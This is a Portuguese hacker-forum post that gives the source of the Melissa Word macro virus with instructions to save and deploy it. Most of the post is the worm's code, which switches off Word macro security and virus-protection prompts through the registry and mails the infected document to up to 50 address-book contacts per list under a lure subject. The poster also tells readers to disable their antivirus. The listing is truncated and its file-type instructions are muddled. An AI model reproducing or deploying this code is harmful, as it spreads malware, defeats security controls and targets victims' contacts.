aonde vc encontra tudo
 
InícioCalendárioFAQBuscarMembrosGruposRegistrar-seConectar-se

Compartilhe | 
 

 Criando o Vírus Melissa

Ver o tópico anterior Ver o tópico seguinte Ir em baixo 
AutorMensagem
Admin
Admin


Mensagens : 37
Data de inscrição : 05/06/2009

MensagemAssunto: Criando o Vírus Melissa   Sex Jun 05, 2009 2:43 am

→ Criando o Vírus Melissa
→ Cole o código em vermelho no bloco de notas e salve como Melissa.Vbs


Não ache que VBS é como bat, não execute nem para testar, pois só de estar escrevendo esse código aqui o Kaspersky apitou, tanto que deletou o arquivo. Tive que desativá-lo. Continuando...

É EXTREMAMENTE IMPORTANTE QUE VOCÊ NÃO TESTE, CASO CONTRÁRIO: JÁ ERA SEU PC EM ALGUNS SEGUNDOS
[red]Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""[/red]


Já sabem né? Testou fodeu.

Lembren-se de desativar seu antivirus antes de salva.
Voltar ao Topo Ir em baixo
Ver perfil do usuário http://downhacker.forumeiros.com
 
Criando o Vírus Melissa
Ver o tópico anterior Ver o tópico seguinte Voltar ao Topo 
Página 1 de 1
 Tópicos similares
-
» - Tutorial - Criando Animações em GIF
» Criando explosões com sprites!
» [Photoshop] Criando uma Explosão de luz
» [DonTuto O' Rastreador]criando rastro
» Preloaders.net: Criando sua loading bar de maneira fácil e rápida.

Permissão deste fórum:Você não pode responder aos tópicos neste fórum
downhacker :: Sua primeira categoria :: Seu primeiro fórum-
Ir para: